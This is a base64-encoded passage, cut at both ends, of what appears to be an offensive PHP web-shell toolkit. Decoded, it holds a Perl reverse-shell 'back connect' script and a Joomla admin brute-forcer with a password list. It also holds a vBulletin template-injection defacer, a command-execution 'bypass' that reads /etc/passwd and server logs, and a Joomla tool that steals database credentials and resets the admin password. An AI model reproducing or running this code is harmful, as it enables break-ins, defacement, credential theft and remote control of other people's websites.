EUW9nSUNBZ0lDQjFjMlVnVTI5amEyVjBPdzBLSUNBZ0lDQWdjSEpwYm5RZ0lrUmhkR0VnUTJoaApNSE1nUTI5dWJtVmpkQ0JDWVdOcklFSmhZMnRrYjI5eVhHNWNiaUk3RFFvZ0lDQWdJQ0JwWmlBb0lTUkJVa2RXV3pCZEtTQjdEUW9nCklDQWdJQ0FnSUhCeWFXNTBaaUFpVlhOaFoyVTZJQ1F3SUZ0SWIzTjBYU0E4VUc5eWRENWNiaUk3RFFvZ0lDQWdJQ0FnSUdWNGFYUW8KTVNrN0RRb2dJQ0FnSUNCOURRb2dJQ0FnSUNCd2NtbHVkQ0FpV3lwZElFUjFiWEJwYm1jZ1FYSm5kVzFsYm5SelhHNGlPdzBLSUNBZwpJQ0FnSkdodmMzUWdQU0FrUVZKSFZsc3dYVHNOQ2lBZ0lDQWdJQ1J3YjNKMElEMGdPREE3RFFvZ0lDQWdJQ0JwWmlBb0pFRlNSMVpiCk1WMHBJSHNOQ2lBZ0lDQWdJQ0FnSkhCdmNuUWdQU0FrUVZKSFZsc3hYVHNOQ2lBZ0lDQWdJSDBOQ2lBZ0lDQWdJSEJ5YVc1MElDSmIKS2wwZ1EyOXVibVZqZEdsdVp5NHVMbHh1SWpzTkNpQWdJQ0FnSUNSd2NtOTBieUE5SUdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbgpLU0I4ZkNCa2FXVW9JbFZ1YTI1dmQyNGdVSEp2ZEc5amIyeGNiaUlwT3cwS0lDQWdJQ0FnYzI5amEyVjBLRk5GVWxaRlVpd2dVRVpmClNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lDUndjbTkwYnlrZ2ZId2daR2xsSUNnaVUyOWphMlYwSUVWeWNtOXlYRzRpS1RzTkNpQWcKSUNBZ0lHMTVJQ1IwWVhKblpYUWdQU0JwYm1WMFgyRjBiMjRvSkdodmMzUXBPdzBLSUNBZ0lDQWdhV1lnS0NGamIyNXVaV04wS0ZORgpVbFpGVWl3Z2NHRmpheUFpVTI1Qk5IZzRJaXdnTWl3Z0pIQnZjblFzSUNSMFlYSm5aWFFwS1NCN0RRb2dJQ0FnSUNBZ0lHUnBaU2dpClZXNWhZbXhsSUhSdklFTnZibTVsWTNSY2JpSXBPdzBLSUNBZ0lDQWdmUTBLSUNBZ0lDQWdjSEpwYm5RZ0lsc3FYU0JUY0dGM2JtbHUKWnlCVGFHVnNiRnh1SWpzTkNpQWdJQ0FnSUdsbUlDZ2habTl5YXlnZ0tTa2dldzBLSUNBZ0lDQWdJQ0J2Y0dWdUtGTlVSRWxPTENJKwpKbE5GVWxaRlVpSXBPdzBLSUNBZ0lDQWdJQ0J2Y0dWdUtGTlVSRTlWVkN3aVBpWlRSVkpXUlZJaUtUc05DaUFnSUNBZ0lDQWdiM0JsCmJpaFRWRVJGVWxJc0lqNG1VMFZTVmtWU0lpazdEUW9nSUNBZ0lDQWdJR1Y0WldNZ2V5Y3ZZbWx1TDNOb0ozMGdKeTFpWVhOb0p5QXUKSUNKY01DSWdlQ0EwT3cwS0lDQWdJQ0FnSUNCbGVHbDBLREFwT3cwS0lDQWdJQ0FnZlEwS0lDQWdJQ0FnY0hKcGJuUWdJbHNxWFNCRQpZWFJoWTJobFpGeHVYRzRpT3c9PSc7CgokZmlsZSA9IGZvcGVuKCJkYy5wbCIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRuZXRjYXRzaGVsbCkpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoImRjLnBsIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9Y2dpdGVsbmV0MS9pem8uY2luIHdpZHRoPTk2JSBoZWlnaHQ9OTAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+IAoKIAogPC9kaXY+IjsgfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgoKZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqYnJ1dGUnKSkgCnsgCj8+Cjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1qYnJ1dGUiIG1ldGhvZD0icG9zdCI+CgoJPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJSZXRuT0hhY0siIC8+CiAgICA8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iSm9vbWxhLCBCcnV0ZXIsIEpvb21sYUJydXRlciwgSm9vbWxhQnJ1dGVyRm9yY2UsIEpvb21sYUJydXRlckZvcmNlT25saW5lIiAvPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlJldG5PSGFjSyAjUHJvY29kZXIneiBUZWFtIEFsYmFuaWFuIiAvPgo8Y2VudGVyPgo8L2JyPjwvYnI+CjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9ImxpbWUiPi0tPT1bIEpvb21sYSBCcnV0ZXIgRm9yY2UgXT09LS08L2ZvbnQ+PC9iPjxiciAvPjxiciAvPgo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4gCjx0YWJsZSBjbGFzcz0idGFibmV0IiB3aWR0aD0iMzglIiBib3JkZXI9IjAiPjxjZW50ZXI+Cjx0aCBjb2xzcGFuPSIyIj5Kb29tbGEgQnJ1dGUgRm9yY2U8L3RoPgo8dHI+PHRkPjxwID48Zm9udCAgY2xhc3M9ImQxIj5Vc2VyIDo8L2ZvbnQ+PC90aD4KPGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9J3RleHQnIG5hbWU9InVzciIgdmFsdWU9ImFkbWluIiBzaXplPSIxNSI+IDwvZm9udD48L2NlbnRlcj48YnIgLz48YnIgLz48L3A+CjwvdGQ+PC90cj4KPHRyPjx0ZD48Zm9udCBjbGFzcz0iIj5TaXRlcyBsaXN0IDo8L2ZvbnQ+IAo8L3RkPjx0ZD48Zm9udCBjbGFzcz0iIiA+UGFzcyBsaXN0IDo8L2ZvbnQ+PC90ZD48L3RyPgo8dHI+CgkJPHRkPgo8dGV4dGFyZWEgbmFtZT0ic2l0ZXMiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrOyIgY29scz0iNDAiIHJvd3M9IjEzIiA+PC90ZXh0YXJlYT4KPC90ZD48dGQ+Cjx0ZXh0YXJlYSBuYW1lPSJ3MHJkcyIgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7IiBjb2xzPSI0MCIgcm93cz0iMTMiID4KYWRtaW4KMTIzNDU2CnBhc3N3b3JkCjEwMjAzMAoxMjMxMjMKMTIzNDUKMTIzNDU2Nzg5CnBhc3MKdGVzdAphZG1pbjEyMwpkZW1vCiFAIyQlXgo8L3RleHRhcmVhPgo8L3RkPjwvdHI+PGNlbnRlcj48dHI+PHRkPgo8Zm9udCA+IAo8aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ4IiB2YWx1ZT0ic3RhcnQiIGlkPSJkNCI+IAo8L2ZvbnQ+PC90ZD48L3RyPjxicj4KVGhhbmtzIHRvIHByb2NvZGVyLCBUZWFtIEFsYmFuaWFuPGJyPjwvY2VudGVyPjwvdGFibGU+CjwvZm9ybT48L2NlbnRlcj4KPD8gCkBzZXRfdGltZV9saW1pdCgwKTsgCgppZigkX1BPU1RbJ3gnXSl7IAoKZWNobyAiPGhyPiI7IAoKJHNpdGVzID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsic2l0ZXMiXSk7IC8vIEdldCBTaXRlcyAKJHcwcmRzID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsidzByZHMiXSk7IC8vIEdldCB3MHJkTGlTdCAKCiRBdHRhY2sgPSBuZXcgSm9vbWxhX2JydXRlX0ZvcmNlKCk7IC8vIEFjdGl2ZSBDbGFzcyAKCgpmb3JlYWNoKCR3MHJkcyBhcyAkcHdkKXsgCgpmb3JlYWNoKCRzaXRlcyBhcyAkc2l0ZSl7IAoKCiRBdHRhY2stPmNoZWNrX2l0KHR4dF9jbG4oJHNpdGUpLCRfUE9TVFsndXNyJ10sdHh0X2NsbigkcHdkKSk7IC8vIEJydXRlIDpEIApmbHVzaCgpO2ZsdXNoKCk7IAoKfSAKCn0gCgp9IAoKCiMgQ2xhc3MgJiBGdW5jdGlvbid6IAoKZnVuY3Rpb24gdHh0X2NsbigkdmFsdWUpeyAgcmV0dXJuIHN0cl9yZXBsYWNlKGFycmF5KCJcbiIsIlxyIiksIiIsJHZhbHVlKTsgfSAKCmNsYXNzIEpvb21sYV9icnV0ZV9Gb3JjZXsgCgpwdWJsaWMgZnVuY3Rpb24gY2hlY2tfaXQoJHNpdGUsJHVzZXIsJHBhc3MpeyAvLyBwcmludCByZXN1bHQgCgppZihlcmVnaSgnY29tX2NvbmZpZycsJHRoaXMtPnBvc3QoJHNpdGUsJHVzZXIsJHBhc3MpKSl7IAoKZWNobyAiPHNwYW4gY2xhc3M9XCJ4MlwiPjxiPiMgU3VjY2VzcyA6ICR1c2VyOiRwYXNzIC0+IDxhIGhyZWY9JyRzaXRlL2FkbWluaXN0cmF0b3IvaW5kZXgucGhwJz4kc2l0ZS9hZG1pbmlzdHJhdG9yL2luZGV4LnBocDwvYT48L2I+PC9zcGFuPjxCUj4iOwokZiA9IGZvcGVuKCJSZXN1bHQudHh0IiwiYSsiKTsgZndyaXRlKCRmICwgIlN1Y2Nlc3Mgfn4gJHVzZXI6JHBhc3MgLT4gJHNpdGUvYWRtaW5pc3RyYXRvci9pbmRleC5waHBcbiIpOyBmY2xvc2UoJGYpOyAKZmx1c2goKTsgCn1lbHNleyBlY2hvICIjIEZhaWxlZCA6ICR1c2VyOiRwYXNzIC0+ICRzaXRlPEJSPiI7IGZsdXNoKCk7fSAKCn0gCgpwdWJsaWMgZnVuY3Rpb24gcG9zdCgkc2l0ZSwkdXNlciwkcGFzcyl7IC8vIFBvc3QgLT4gdXNlciAmIHBhc3MgCgokdG9rZW4gPSAkdGhpcy0+ZXh0cmFjdF90b2tlbigkc2l0ZSk7IAoKJGN1cmw9Y3VybF9pbml0KCk7IAoKY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsgCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCRzaXRlLiIvYWRtaW5pc3RyYXRvci9pbmRleC5waHAiKTsgCkBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUZJTEUsJ2Nvb2tpZS50eHQnKTsgCkBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOyAKY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xLjE1KSBHZWNrby8yMDA4MTExMzE3ICBGaXJlZm94LzMuMC40Jyk7IApAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsgCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUE9TVCwxKTsgCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfUE9TVEZJRUxEUywndXNlcm5hbWU9Jy4kdXNlci4nJnBhc3N3ZD0nLiRwYXNzLicmbGFuZz1lbi1HQiZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mJy4kdG9rZW4uJz0xJyk7IApjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1RJTUVPVVQsMjApOyAKCiRleGVjPWN1cmxfZXhlYygkY3VybCk7IApjdXJsX2Nsb3NlKCRjdXJsKTsgCnJldHVybiAkZXhlYzsgCgp9IAoKcHVibGljIGZ1bmN0aW9uIGV4dHJhY3RfdG9rZW4oJHNpdGUpeyAvLyBnZXQgdG9rZW4gZnJvbSBzb3VyY2UgZm9yIC0+IGZ1bmN0aW9uIHBvc3QgCgokc291cmNlID0gJHRoaXMtPmdldF9zb3VyY2UoJHNpdGUpOyAKCnByZWdfbWF0Y2hfYWxsKCIvdHlwZT1cImhpZGRlblwiIG5hbWU9XCIoWzAtOWEtZl17MzJ9KVwiIHZhbHVlPVwiMVwiL3NpIiAsJHNvdXJjZSwkdG9rZW4pOyAKCnJldHVybiAkdG9rZW5bMV1bMF07IAoKfSAKCnB1YmxpYyBmdW5jdGlvbiBnZXRfc291cmNlKCRzaXRlKXsgLy8gZ2V0IHNvdXJjZSBmb3IgLT4gZnVuY3Rpb24gZXh0cmFjdF90b2tlbiAKCiRjdXJsPWN1cmxfaW5pdCgpOyAKY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsgCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCRzaXRlLiIvYWRtaW5pc3RyYXRvci9pbmRleC5waHAiKTsgCkBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUZJTEUsJ2Nvb2tpZS50eHQnKTsgCkBjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOyAKY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xLjE1KSBHZWNrby8yMDA4MTExMzE3ICBGaXJlZm94LzMuMC40Jyk7IApAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsgCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVElNRU9VVCwyMCk7IAoKJGV4ZWM9Y3VybF9leGVjKCRjdXJsKTsgCmN1cmxfY2xvc2UoJGN1cmwpOyAKcmV0dXJuICRleGVjOyAKCn0gCgp9IAp9Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd2YicpKQogICB7CiAgID8+CiAgIDxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZ4PXZiIiBtZXRob2Q9InBvc3QiPgogICA8YnI+PGJyPjxicj48ZGl2IGFsaWduPSJjZW50ZXIiPgogICA8SDI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiA0MDAiPjxmb250IGZhY2U9IlRyZWJ1Y2hldCBNUyIgc2l6ZT0iNCI+CiAgIDxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4tLT09WyBWQiBJbmRleCBDaGFuZ2VyIF09PS0tPC9mb250PjwvYj4KICAgPC9kaXY+PGJyPgogICA8PwogICBpZihlbXB0eSgkX1BPU1RbJ2luZGV4J10pKXsKICAgZWNobyAiPGNlbnRlcj48Rk9STSBtZXRob2Q9XCJQT1NUXCI+IjsKICAgZWNobyAiPHRhYmxlIGNsYXNzPVwidGFibmV0XCI+Cjx0aCBjb2xzcGFuPVwiMlwiPlZiIEluZGV4IENoYW5nZXI8L3RoPgo8dHI+PHRkPmhvc3QgPC90ZD48dGQ+PGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiBuYW1lPVwibG9jYWxob3N0XCIgdmFsdWU9XCJsb2NhbGhvc3RcIj48L3RkPjwvdHI+Cjx0cj48dGQ+ZGF0YWJhc2UgPC90ZD48dGQ+PGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiBuYW1lPVwiZGF0YWJhc2VcIiB2YWx1ZT1cImZvcnVtX3ZiXCI+PC90ZD48L3RyPgo8dHI+PHRkPnVzZXJuYW1lIDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cInVzZXJuYW1lXCIgdmFsdWU9XCJ1c2VyX3ZiXCI+PC90ZD48L3RyPgo8dHI+PHRkPnBhc3N3b3JkIDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgc2l6ZT1cIjYwXCIgbmFtZT1cInBhc3N3b3JkXCIgdmFsdWU9XCJ2YlwiPjwvdGQ+PC90cj4KPC90cj4KPHRoIGNvbHNwYW49XCIyXCI+WW91ciBJbmRleCBDb2RlPC90aD48L3RhYmxlPjx0YWJsZSBjbGFzcz1cInRhYm5ldFwiPgo8VEVYVEFSRUEgbmFtZT1cImluZGV4XCIgcm93cz1cIjEzXCIgc3R5bGU9XCJiYWNrZ3JvdW5kOmJsYWNrXCIgYm9yZGVyPVwiMVwiIGNvbHM9XCI2OVwiIG5hbWU9XCJjb2RlXCI+eW91ciBpbmRleCBjb2RlPC9URVhUQVJFQT48YnI+CjxJTlBVVCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cInNldHRpbmdcIiBuYW1lPVwic2VuZFwiPgo8L0ZPUk0+PC90YWJsZT48L2NlbnRlcj4iOwogICAgfWVsc2V7CiAgICAkbG9jYWxob3N0ID0gJF9QT1NUWydsb2NhbGhvc3QnXTsKICAgICRkYXRhYmFzZSA9ICRfUE9TVFsnZGF0YWJhc2UnXTsKICAgICR1c2VybmFtZSA9ICRfUE9TVFsndXNlcm5hbWUnXTsKICAgICRwYXNzd29yZCA9ICRfUE9TVFsncGFzc3dvcmQnXTsKICAgICRpbmRleCA9ICRfUE9TVFsnaW5kZXgnXTsKICAgIEBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOwogICAgQG15c3FsX3NlbGVjdF9kYigkZGF0YWJhc2UpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKICAgICRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOwogICAgJHNldF9pbmRleCA9ICJ7XCR7ZXZhbChiYXNlNjRfZGVjb2RlKFwnIjsKICAgICRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyBcIiRpbmRleFwiOyIpOwogICAgJHNldF9pbmRleCAuPSAiXCcpKX19e1wke2V4aXQoKX19PC90ZXh0YXJlYT4iOwogICAgZWNobygiVVBEQVRFIHRlbXBsYXRlIFNFVCB0ZW1wbGF0ZSA9JyIuJHNldF9pbmRleC4iJyAiKSA7CiAgICAkb2s9QG15c3FsX3F1ZXJ5KCJVUERBVEUgdGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kc2V0X2luZGV4LiInIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwogICAgaWYoJG9rKXsKICAgIGVjaG8gIiEhIHVwZGF0ZSBmaW5pc2ggISE8YnI+PGJyPiI7CiAgICB9IAogIH0KfQoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdieXBhc3MnKSkgCnsgCj8+Cjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1ieXBhc3MiIG1ldGhvZD0icG9zdCI+Cgo8P3BocAplY2hvICI8Y2VudGVyLz48YnIvPjxiPjxmb250IGNvbG9yPSNGRjAwMDA+LS09PVsgQ29tbWFuZCAgQnlwYXNzIEV4cGxvaXQgXT09LS08L2ZvbnQ+PC9iPjxicj4KIjsKcHJpbnRfcignCjxwcmU+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPgo8Yj48Zm9udCBjb2xvcj0jRkYwMDAwPjxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Db21tYW5kICA6PSkgPC9mb250PjwvZm9udD48L2I+PGlucHV0IG5hbWU9ImJhYmEiIHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIHNpemU9IjM0Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iPgo8L2Zvcm0+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPjxzdHJvbmc+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPk1lbnUgQnlwYXNzICA6PSkgIDwvZm9udD48L3N0cm9uZz48c2VsZWN0IG5hbWU9ImxpejAiIHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiPgo8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9wYXNzd2QiPi9ldGMvcGFzc3dkPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9Im5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iPm5ldHN0YXQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2F0IC92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIj4vdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9zeXNsb2cuY29uZiI+L2V0Yy9zeXNsb2cuY29uZjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9ob3N0cyI+L2V0Yy9ob3N0czwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9uYW1lZC5jb25mIj4vZXRjL25hbWVkLmNvbmY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIj4vZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZjwvb3B0aW9uPgo8L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9Ikcmb3VtbDsiPgo8L2Zvcm0+CjwvcHJlPgonKTsKaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOwppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CiRsaXowPXNoZWxsX2V4ZWMoJF9QT1NUW2JhYmFdKTsgCiRsaXowemltPXNoZWxsX2V4ZWMoJF9QT1NUW2xpejBdKTsgCiR1aWQ9c2hlbGxfZXhlYygnaWQnKTsKJHNlcnZlcj1zaGVsbF9leGVjKCd1bmFtZSAtYScpOwplY2hvICI8cHJlPjxoND4iOwoKZWNobyAkbGl6MDsKZWNobyAkbGl6MHppbTsKZWNobyAiPC9oND48L3ByZT4iOwogIjwvZGl2PiI7IH0KCiAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KIAogZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdqb2RleGVyJykpCnsJCj8+Cjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1qb2RleGVyIiBtZXRob2Q9InBvc3QiPgoKPD9waHAKCmZ1bmN0aW9uIHJhbmRvbXQoKSB7CiAgICAKICAgICAgICAkY2hhcnMgPSAiYWJjZGVmZ2hpamttbm9wcXJzdHV2d3h5ejAyMzQ1Njc4OSI7CiAgICAgICAgc3JhbmQoKGRvdWJsZSltaWNyb3RpbWUoKSoxMDAwMDAwKTsKICAgICAgICAkaSA9IDA7CiAgICAgICAgJHBhc3MgPSAnJyA7CiAgICAKICAgICAgICB3aGlsZSAoJGkgPD0gNykgewogICAgICAgICAgICAkbnVtID0gcmFuZCgpICUgMzM7CiAgICAgICAgICAgICR0bXAgPSBzdWJzdHIoJGNoYXJzLCAkbnVtLCAxKTsKICAgICAgICAgICAgJHBhc3MgPSAkcGFzcyAuICR0bXA7CiAgICAgICAgICAgICRpKys7CiAgICAgICAgfQogICAgCiAgICAgICAgcmV0dXJuICRwYXNzOwogICAgCiAgICB9CiAgICBmdW5jdGlvbiBlbnRyZTJ2MigkdGV4dCwkbWFycXVldXJEZWJ1dExpZW4sJG1hcnF1ZXVyRmluTGllbiwkaT0xKQogICAgewogICAgJGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOwogICAgJGFyMT1leHBsb2RlKCRtYXJxdWV1ckZpbkxpZW4sICRhcjBbJGldKTsKICAgICRhcj10cmltKCRhcjFbMF0pOwogICAgcmV0dXJuICRhcjsKICAgIH0KICAgIGlmICgkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10pCiAgICB7CiAgICAKICAgICR0ZXh0PWZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsnZmlsZSddKTsKICAgICR1c2VybmFtZT1lbnRyZTJ2MigkdGV4dCwicHVibGljICR1c2VyID0gJyIsIic7Iik7CiAgICAkcGFzc3dvcmQ9ZW50cmUydjIoJHRleHQsInB1YmxpYyAkcGFzc3dvcmQgPSAnLCAnIiwiJzsiKTsKICAgICRkYm5hbWU9ZW50cmUydjIoJHRleHQsInB1YmxpYyAkZGIgPSAnLCAnIiwiJzsiKTsKICAgICRkYnByZWZpeD1lbnRyZTJ2MigkdGV4dCwicHVibGljICRkYnByZWZpeCA9ICciLCInOyIpOwogICAgJHNpdGVfdXJsPSgkX1BPU1RbJ3NpdGVfdXJsJ10pOwogICAgCiAgICAkaD0iPD8gZWNobyhzdHJpcHNsYXNoZXMoYmFzZTY0X2RlY29kZSgnIi51cmxlbmNvZGUoYmFzZTY0X2VuY29kZShzdHJfcmVwbGFjZSgiJyIsIiciLCgkX1BPU1RbJ2NvZGUnXSkpKSkuIicpKSk7IGV4aXQ7ID8+IjsKICAgIAogICAgJGNvPXJhbmRvbXQoKTsgIAogICAgICAvKgogICAgZWNobygkdXNlcm5hbWUpOwogICAgZWNobygiPGJyPiIpOwogICAgZWNobygkcGFzc3dvcmQpOwogICAgZWNobygiPGJyPiIpOwogICAgZWNobygkZGJuYW1lKTsKICAgIGVjaG8oIjxicj4iKTsKICAgIGVjaG8oJGRicHJlZml4KTsKICAgIGVjaG8oIjxicj4iKTsKICAgICovCiAgICAkY289cmFuZG9tdCgpOwogICAgCiAgICBpZiAoJF9QT1NUWydmb3JtX2FjdGlvbiddKQogICAgewogICAgJGg9Ijw/IGVjaG8oc3RyaXBzbGFzaGVzKGJhc2U2NF9kZWNvZGUoJyIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoc3RyX3JlcGxhY2UoIiciLCInIiwoJF9QT1NUWydjb2RlJ10pKSkpLiInKSkpOyBleGl0OyA/PiI7CiAgICAKICAgIAogICAgCiAgICAKICAgIAogICAgICAgICAgJGxpbms9bXlzcWxfY29ubmVjdCgiZHpvZWQuZHJ1a25ldC5idCIsJHVzZXJuYW1lLCRwYXNzd29yZCkgOwogICAgCiAgICAgICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwkbGluaykgOwogICAgCiAgICAkdHJ5Q2hhbmluZ0luZm8gPSBteXNxbF9xdWVyeSgiVVBEQVRFICIuJGRicHJlZml4LiJ1c2VycyBTRVQgdXNlcm5hbWUgPSdhZG1pbicgLCBwYXNzd29yZCA9ICcyYTkzMzZmNzY2NmY5ZjQ3NGI3YThmNjdiNDhkZTUyNzpEaVdxUkJSMXRoVFFhMlN2QnNEcXNVRU5yS09tWnRBWCciKTsKICAgIGVjaG8oIjxicj5bK10gQ2hhbmdpbmcgYWRtaW4gcGFzc3dvcmQgdG8gMTIzNDU2Nzg5Iik7ICAKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgIik7CiAgICAgICAgICAgICAgICAgICAgCiAgICBpZiAoICRyZXEgKQogICAgewogICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICAgIFYxLjYgICAgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwogICAgCiAgICAgICAgICAgICAgICAgIAogICAgJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4idGVtcGxhdGVfc3R5bGVzYCBXSEVSRSBjbGllbnRfaWQ9JzAnIGFuZCBob21lPScxJ